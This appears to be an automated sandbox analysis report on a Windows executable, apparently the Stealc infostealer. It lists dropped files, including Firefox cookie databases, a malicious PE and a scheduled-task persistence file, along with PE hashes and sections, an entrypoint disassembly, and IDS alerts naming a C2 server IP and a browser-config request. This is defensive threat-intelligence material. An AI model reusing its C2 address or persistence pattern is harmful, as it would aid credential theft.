Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsHDGCGHIJKE.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3281920
Entropy (8bit):	6.629890136086703
Encrypted:	false
SSDEEP:	49152:Aesu0P53wJn02fBEmwU0ZNW7NNKx3SVbt2/sZFLel:ou0R38npfBEX0t2EZF
MD5:	0491B56FD0D65497898F82CA52A7F2C8
SHA1:	7DB274D8822943774D09AEB93367A119E2FA4D82
SHA-256:	52F0F944EDCA5AC4CE7A27CE561277D28CF008874D4C701A0E79CCA534E8ED05
SHA-512:	ECFD958D922B58BF2BAA2887874FCDED9FAD9F41E6658B0B86EB05F374E77B5B56C569116285988E656ED31EE99F706E4E1E44ABDBAEAA42F7CAD278228AC075
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. 2...........@..........................P2.......2...@.................................W...k.......H.....................2.............................0.2..................................................... . ............................@....rsrc...H...........................@....idata ............................@...bqlruwdx.`+......T+.................@...tmwrwawp......2.......1.............@....taggant.0... 2.."....1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsHDGCGHIJKE.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4528479524182782
Encrypted:	false
SSDEEP:	6:yzlVXUhXUEZ+lX1CGdKUe6tE9+AQy0lBRut0:y/4Q1CGAFD9+nVB4t0
MD5:	16745B8BEBD36BE6F53537BA84A6377D
SHA1:	CB871C2589C48D58544FA9258E90BB5A474FD407
SHA-256:	B4694F687FFF30B8346E3B2F6CB4C350D67F72DB9286ECE50573E1751A178399
SHA-512:	93219B1F06FCD929FA6A0DE70A7A4BEDD54DB5FDD02F06FDEE74D2EC5FFBC8CBF226BE084550433282FEC20313D0035C1980A03205FF9065E01157643D2C9380
Malicious:	false
Preview:	....D.T7F..H.)....F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5686)
Category:	downloaded
Size (bytes):	5691
Entropy (8bit):	5.817880642487761
Encrypted:	false
SSDEEP:	96:7wmMliMVHfEwv16RhZo1NWaDskugYOIWyFznJA7fTXJPHLLFDHRJ0WlGEvw2ePsT:7wmaXV8a1cXSA3kugYlR9q7TppHRmW3t
MD5:	314C3B5AD0A2A8D3F256613646798984
SHA1:	358429DDF5C78423F0A466A245321CC8984166A9
SHA-256:	540A65021620B829460F53A437903E7E88CC9E284A95BC7F651F10E0AA8B9251
SHA-512:	145437432548C1BA92811AFCB6705AAE1E300C5B938F4FD39E65F7DD73FA5936E69FC0AEEE5243F753A863982B2CE2774D789D4FAA2B7180463D232E2372EA6D
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["watch yellowstone season 5","winter weather warnings","google messages sending as profile","wisconsin badgers basketball","super micro computer stock","spacex starship flight 6","powerball winning numbers","los angeles dodgers"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CgovbS8wMnFrcWN2Eg9CYXNrZXRiYWxsIHRlYW0ytgxkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUVBQUFBQThDQU1BQUFEaFYweFdBQUFBekZCTVZFWEZCUXovLy84QUFBRERBQURJQlF6TEJRekFBQURPQkF6YWhJWGFnb1BaZm4vZjM5OXhDZzNscTZ2Y2pJMzE0dUxPVFU3anBxYldjWExzdzhQOStQanV5Y21scGFYZWtaTEhIU0NJaUloMmRuYXdDdy9JSlNobFpXVytDeEREdzhOZ0NRdm82T2hNQ2d6UzB0S2dDZzRzQndpNEFBQWtDUXFTa3BMeTF0YnB1TG5oblo2WW41NnlSMG5NUWtPb0FBUFRZMlZEUTBQSU16VWFDUWxCQ0FrNkNndFhDZ3VNREE5VlZWVW5KeWY5NysrMnVMaVVDZzE2Q2czUVYxaVRnSUN3WW1NMU5qWVFGQlRDWm1lZ29TTHZBQUFEaFVsRVFWUklpWld

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175125
Entropy (8bit):	5.554368182631651
Encrypted:	false
SSDEEP:	3072:fc3bXo9SLtl9UNXr+FqVBiFWGHj4LsBUnL7BB19HD4VHDgJElS5bOFYG4bhlth0j:fc33Ltl9UhtVBi8ij4LsBU7BB19HD+Db
MD5:	DE27580D28C778BDEB06F70676896EB2
SHA1:	B4110DAAA338236B713E45FC5C7D24D37DFF8832
SHA-256:	5446EE28C1524D6D01444EE57DC4649E45BE7EDF69FD8CB317D94E7E62AD0D38
SHA-512:	26A8E77282C167A66CEAC4C015AB56814A9F96D4A26E2BA5EFC8B9ECB1B14042A1E79FEBC553F81225ABA63BF7D0713AED7299936843786BCB1ABA4C5EFD2D86
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Ed7fPZdAP88.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTsAQtU7Exa5LSjaPuQb-KRl1yfMjA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.aj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var bj,cj,gj,jj,ij,ej,hj;bj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};cj=function(){_.Na()};gj=function(a,b){(_.dj\|\|(_.dj=new ej)).set(a,b);(_.fj\|\|(_.fj=new ej)).set(b,a)};jj=function(a){if(hj===void 0){const b=new ij([],{});hj=Array.prototype.concat.call([],b).length===1}hj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.kj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Gc};._.lj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.mj=function(a,b){a===0&&(a=_.lj(a,b));return a\|1};_.nj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.oj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.rj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.kj(a,b,d);var k=h[_.v]\|0,l=!!(4&k);if(!l){k=_.mj(k,b);var m=h,p=b;const q=!!(

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133058
Entropy (8bit):	5.435232826969123
Encrypted:	false
SSDEEP:	3072:f0kPdsBJT7bKwkztS6STFSz1nrmNSnXYK02i6o:f3dUW5c5Sz1nKNSnoK08o
MD5:	5A029E428A97B4901CE8B4C96710F7FE
SHA1:	F5BEAB3903C9FFFF0D0DA4EAA1A4BE2D4DEFC7E6
SHA-256:	42C5968A0825991326F84ADF4146E4E916F759CB33651EEA68809071D31FE635
SHA-512:	600C1E3C97AFA653C2B4BF130B7BC92BB49568D8B753ECB8D73DFD73A6842E29431BB0C31BA586FB4238662E453E63CA974DF343B8C1A65C5D3D8D405A3C59BE
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944013756517232
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'797'120 bytes
MD5:	a088750a78a264d0204488fe6bec85d6
SHA1:	d7cc85364e6481188de1912ee35692f09a126f44
SHA256:	d165a92f40ed9c2ec60c492ab46e9632e740d1af310215a6b464f82dd8418e21
SHA512:	d00d35fff97f54d304a8f70b6916902987795124e7aeff103c248c2f7663bd61f8d9ed4985ceae8556cff308494c2063235aff7285f0892bea12850e802ca4ea
SSDEEP:	24576:+DP5f8UrgoaGkkttK9MrbW7tHkHJ7yq14qASOqu6Qi6mkDLLV4XA+eLQdc1mZ:yxz8yttKGfKEHJ7yq14lLDDDVL
TLSH:	ED853383CE587EA7CD1200B55D956B9CC930F758CDEB0A6D27BE07FAC4B18E01A58A4D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa92000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8EA93051FAh
cmovp ebx, dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
mov byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	6256193b13aae5572390c61bc9d3165f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	12e465867669994a0621a37b50f377f3	False	0.794921875	data	5.979811929105656	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a8000	0x200	ad13f40963bc24f2366cdf831d6a946c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pptkhitg	0x4f4000	0x19d000	0x19cc00	86c12d656f8574be3b3cf06dbceba565	False	0.9946132315642036	data	7.953897239582419	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oviucogm	0x691000	0x1000	0x600	1213fbc8ff0c620522ddecef553f5835	False	0.5546875	data	4.9298750796621835	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x692000	0x3000	0x2200	fed6444eec891081405499aa3472ba11	False	0.07490808823529412	DOS executable (COM)	0.7491331069511438	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x690800	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-17T10:07:07.126242+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50135	188.114.96.3	443	TCP
2024-11-17T10:07:16.528521+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49726	185.215.113.206	80	TCP
2024-11-17T10:07:16.974501+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49726	185.215.113.206	80	TCP
2024-11-17T10:07:17.104583+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49726	TCP
